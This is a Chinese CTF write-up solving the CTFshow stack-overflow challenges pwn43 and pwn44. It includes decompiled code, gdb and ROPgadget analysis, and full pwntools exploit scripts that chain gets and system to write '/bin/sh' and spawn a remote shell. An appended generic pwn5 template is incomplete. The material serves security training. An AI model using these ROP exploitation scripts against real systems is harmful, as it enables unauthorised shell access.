CTFshow-pwn入门-栈溢出pwn43-pwn44

pwn43

在这里插入图片描述
首先我们先将pwn文件下载下来,然后拖入到虚拟机中查看保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
我们可以看到,文件只开启了栈不可执行,并且是32位的文件。
我们将文件拖入到ida32中反编译一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  logo();
  ctfshow();
  return 0;
}
char *ctfshow()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return gets(s);
}
int hint()
{
  unsigned int v0; // eax
  int result; // eax
  int v2; // [esp+8h] [ebp-10h] BYREF
  int v3; // [esp+Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  v3 = rand();
  __isoc99_scanf("%d", &v2);
  result = v2;
  if ( v3 == v2 )
    return system("where is shell?");
  return result;
}

我们可以很清晰的看到,在ctfshow函数中,用到gets函数读取数据到s中,由于gets函数读取数据没有长度限制,显然存在栈溢出。并且我们在hint函数中发现了system函数,但是我们却找不到/bin/sh和sh。

这就很头疼,这时我们可以使用gdb查看一下是否还有可以进行写权限的数据段,如果有,那我们就可以使用这个段里的数据单元,通过gets函数将/bin/sh或者sh写入到这个数据单元中,在以该数据单元的地址作为参数传入到system函数,就可以拼凑出system(“/bin/sh”)了,进而拿到服务器的权限。

我们运行gdb
先随便打一个断点,我这里在main函数开始出下断点。
之后再使用r运行程序。
然后使用vmmap命令即可观察到各段的权限信息。

gdb pwn
b main
r
vmmap

在这里插入图片描述
在这里插入图片描述
我们看到DATA的0x804b000~0x804c000区间有写(w)的权限,那我们就可以利用这个段来写入我们的/bin/sh。

编写exp

计算溢出长度

在这里插入图片描述
我们可以看到s再ebp上面6Ch处,加上ebp所占栈单元的4字节,那么溢出长度就为:0x6C + 0x4

拿到system函数和gets函数的地址

我们使用objdump命令获取文件的plt表,进而直接拿到system函数和gets函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
gets函数的地址:0x08048420
system函数的地址:0x08048450

写入/bin/sh

上面我们分析到,我们可以利用0x804b000~0x804c000区间的数据单元,我们就利用0x804c000-16位置的数据单元即可。

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28117")

offset = 0x6c + 0x4

binsh_addr = 0x804c000-16
system_addr = 0x08048450
gets_addr = 0x08048420

payload = offset * 'a'
payload += p32(gets_addr)
payload += p32(system_addr) # 作为gets函数的返回地址,返回到system函数中
payload += p32(binsh_addr) # gets函数的参数,也是system函数的返回地址(是无效的)
payload += p32(binsh_addr) #system函数的参数

io.recv()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn44

在这里插入图片描述
我们还是先将文件下载下来,然后拖入到虚拟机中查看保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
我们看到,该文件与上道题目的文件一样,都只开启了栈不可执行。差别是这个文件是64位的,那我们就先把文件拖入到ida64中反编译一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  puts("get system parameter!");
  ctfshow();
  return 0;
}
__int64 ctfshow()
{
  char v1[10]; // [rsp+6h] [rbp-Ah] BYREF

  return gets(v1);
}
int hint()
{
  return system("no shell for you");
}

思路大概跟上道题目一样,ctfshow函数使用了gets函数,明显有栈溢出,hint函数中system函数,但是却找不到/bin/sh和sh,所以我们还是利用gdb来查看一下文件中是否有可以写入权限的段。

gdb pwn
b main
r
vmmap

在这里插入图片描述
在这里插入图片描述
我们看到,DATA段的0x602000~0x603000区间,是有写(w)权限的。我们就可以利用gets函数,来将/bin/sh读入该段的数据单元中,然后将该数据单元的地址作为参数传入到system函数中,就可以构造处system(“/bin/sh”)进而拿到服务器的shell。

其次,64位需要堆栈平衡。并且64位的传参和32位也不一样。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

编写exp

计算溢出长度

在这里插入图片描述
在ctfshow函数中,v1的位置在rbp上面Ah处,加上rbp本身所占栈单元的大小8个字节(32位为4字节,64位为8字节),那么溢出长度就为:0xa + 0x8

拿到system函数和gets函数的地址

还是利用objdump命令来获取文件的plt表,进而直接拿到gets函数和system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400520
gets函数的地址为:0x0000000000400530

拿到pop rdi;ret和ret的地址

使用ROPgadget命令可以获取。

ROPgadget --binary pwn --only "pop|ret"

在这里插入图片描述
pop rdi;ret的地址为:0x00000000004007f3
ret的地址为:0x00000000004004fe

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.youkuaiyun.com/hu_c_t_f/article/details/131902515

写入/bin/sh

上面我们分析到,我们可以利用0x602000~0x603000区间的数据单元,我们就利用0x603000-16位置的数据单元即可。

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28284")

offset = 0xa + 0x8

system_addr = 0x0000000000400520
gets_addr = 0x0000000000400530
binsh_addr = 0x603000-16
pop_rdi = 0x00000000004007f3
ret = 0x00000000004004fe

payload = offset * 'a'
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(gets_addr)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

io.recv()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库表项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值